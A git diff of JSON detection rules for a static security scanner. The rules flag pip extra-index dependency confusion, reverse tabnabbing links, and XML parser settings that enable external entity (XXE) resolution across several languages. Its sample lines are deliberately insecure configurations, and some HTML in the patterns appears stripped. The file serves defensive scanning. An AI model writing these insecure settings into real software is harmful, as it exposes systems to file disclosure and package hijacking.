"regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "\n\n \n \n \n" + ], + "must-not-match": [ + "\n\n \n \n \n \n" + ] + }, + { + "name": "Additional package index configured", + "id": "DS205001", + "description": "ADM.10205 states that --extra-index-url and PIP_EXTRA_INDEX_URL must not be used. pip treats every extra index as equal in priority to the primary one, so an attacker who publishes a higher version of an internal package name on a public index can have it installed instead.", + "recommendation": "Use a single --index-url pointing at your Azure Artifacts feed, and configure public packages as an upstream source on that feed.", + "applies_to": [ + "python", + "shellscript", + "powershell", + "yaml", + ".config" + ], + "tags": [ + "SupplyChain.PackageSource" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS205001.md", + "patterns": [ + { + "pattern": "(--extra-index-url|PIP_EXTRA_INDEX_URL|extra-index-url\\s*=)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "pip install --extra-index-url https://pypi.org/simple contoso-lib", + "PIP_EXTRA_INDEX_URL=https://pypi.org/simple" + ], + "must-not-match": [ + "pip install --index-url https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple contoso-lib" + ] + } +] diff --git a/rules/default/security/web/html_links.json b/rules/default/security/web/html_links.json new file mode 100644 index 00000000..c44f6a5c --- /dev/null +++ b/rules/default/security/web/html_links.json @@ -0,0 +1,51 @@ +[ + { + "name": "HTML link missing noopener or noreferrer", + "id": "DS610000", + "description": "An anchor with target=\"_blank\" gives the opened page a window.opener reference back to this one. The opened page can use it to navigate this tab to a site of its choosing, which is the reverse tabnabbing phishing technique.", + "recommendation": "Add rel=\"noopener noreferrer\" to the anchor.", + "applies_to": [ + "html", + "javascript", + "javascriptreact", + "typescript", + "typescriptreact", + "php" + ], + "tags": [ + "Web.HTML" + ], + "confidence": "medium", + "severity": "BestPractice", + "rule_info": "DS610000.md", + "patterns": [ + { + "pattern": "]*target\\s*=\\s*[\"']?_blank", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "(noopener|noreferrer)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-line" + } + ], + "must-match": [ + "Open" + ], + "must-not-match": [ + "Open", + "About" + ] + } +] diff --git a/rules/default/security/xml/external_entities.json b/rules/default/security/xml/external_entities.json index 5e581331..d6dc6641 100644 --- a/rules/default/security/xml/external_entities.json +++ b/rules/default/security/xml/external_entities.json @@ -88,8 +88,7 @@ "must-match": [ "shouldResolveExternalEntities=TRUE" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Do not enable external entity resolution.", @@ -132,7 +131,262 @@ "must-match": [ "setShouldResolveExternalEntities: YES" ], + "must-not-match": [] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132782", + "description": "DtdProcessing.Parse, or ProhibitDtd set to false, allows the XML parser to process a DTD. A DTD can declare external entities that read local files or make network requests, and can expand recursively to exhaust memory.", + "recommendation": "Set DtdProcessing to Prohibit, as shown in the worked example in ADM.10010.", + "applies_to": [ + "csharp", + "fsharp", + "vb" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132782.md", + "patterns": [ + { + "pattern": "DtdProcessing\\s*[=.]\\s*(DtdProcessing\\s*\\.\\s*)?Parse", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "ProhibitDtd\\s*=\\s*false", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "reader.DtdProcessing = DtdProcessing.Parse;", + "settings.ProhibitDtd = false;" + ], + "must-not-match": [ + "reader.DtdProcessing = DtdProcessing.Prohibit;", + "settings.DtdProcessing = DtdProcessing.Ignore;" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132783", + "description": "Assigning an XmlResolver lets the parser follow external references in the document, including file:// and http:// URIs. ADM.10010's worked example sets XmlResolver to null.", + "recommendation": "Set XmlResolver to null, or leave it unset on frameworks where the default is already null.", + "applies_to": [ + "csharp", + "fsharp", + "vb" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132783.md", + "patterns": [ + { + "pattern": "XmlResolver\\s*=\\s*new\\s+Xml(Url|Secure)Resolver", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "reader.XmlResolver = new XmlUrlResolver();", + "settings.XmlResolver = new XmlSecureResolver(new XmlUrlResolver(), url);" + ], + "must-not-match": [ + "reader.XmlResolver = null;" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132784", + "description": "Java XML factories resolve external entities by default. This file constructs a parser factory and contains none of the hardening features that disable that behaviour.", + "recommendation": "Call setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true), or set XMLConstants.FEATURE_SECURE_PROCESSING, before parsing untrusted input.", + "applies_to": [ + "java" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "medium", + "severity": "ManualReview", + "rule_info": "DS132784.md", + "patterns": [ + { + "pattern": "(DocumentBuilderFactory|SAXParserFactory|XMLInputFactory|TransformerFactory|SchemaFactory)\\s*\\.\\s*new(Instance|Factory)\\s*\\(", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "disallow-doctype-decl", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "FEATURE_SECURE_PROCESSING", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "(IS_SUPPORTING_EXTERNAL_ENTITIES|SUPPORT_DTD)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "ACCESS_EXTERNAL_(DTD|SCHEMA|STYLESHEET)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "setXIncludeAware\\s*\\(\\s*false", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + }, + { + "pattern": { + "pattern": "setExpandEntityReferences\\s*\\(\\s*false", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-file" + } + ], + "must-match": [ + "DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\nDocumentBuilder db = dbf.newDocumentBuilder();", + "XMLInputFactory factory = XMLInputFactory.newInstance();" + ], + "must-not-match": [ + "DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ndbf.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);", + "TransformerFactory tf = TransformerFactory.newInstance();\ntf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132785", + "description": "libxml_disable_entity_loader(false) re-enables the external entity loader, which allows a document to read local files through the file:// scheme.", + "recommendation": "Leave the entity loader disabled. On libxml2 2.9 and later it is off by default, so the call is usually unnecessary.", + "applies_to": [ + "php" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS132785.md", + "patterns": [ + { + "pattern": "libxml_disable_entity_loader\\s*\\(\\s*(false|FALSE|0)\\s*\\)", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "LIBXML_NOENT", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "libxml_disable_entity_loader(false);", + "$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);" + ], + "must-not-match": [ + "libxml_disable_entity_loader(true);" + ] + }, + { + "name": "Do not enable external entity resolution.", + "id": "DS132786", + "description": "lxml resolves entities when resolve_entities is left enabled or a DTD is loaded, which allows a document to read local files or reach network resources.", + "recommendation": "Construct the parser with resolve_entities=False, no_network=True, and load_dtd=False.", + "applies_to": [ + "python" + ], + "tags": [ + "XML.XXE" + ], + "confidence": "medium", + "severity": "ManualReview", + "rule_info": "DS132786.md", + "patterns": [ + { + "pattern": "(resolve_entities|load_dtd|no_network)\\s*=\\s*(True|False)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "resolve_entities\\s*=\\s*False", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-line" + } + ], + "must-match": [ + "parser = etree.XMLParser(resolve_entities=True)", + "parser = etree.XMLParser(load_dtd=True, no_network=False)" + ], "must-not-match": [ + "parser = etree.XMLParser(resolve_entities=False, no_network=True)" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/xml/xslt_scripting.json b/rules/default/security/xml/xslt_scripting.json index ba27f6a2..578f2988 100644 --- a/rules/default/security/xml/xslt_scripting.json +++ b/rules/default/security/xml/xslt_scripting.json @@ -5,7 +5,7 @@ "description": "XSLT Scripting is a feature that should only be enabled if script support is necessary and you are certain this is used in a trusted environment.", "recommendation": "Disable XSLT scripting.", "applies_to": [ - "CSharp" + "csharp" ], "tags": [ "XSLT"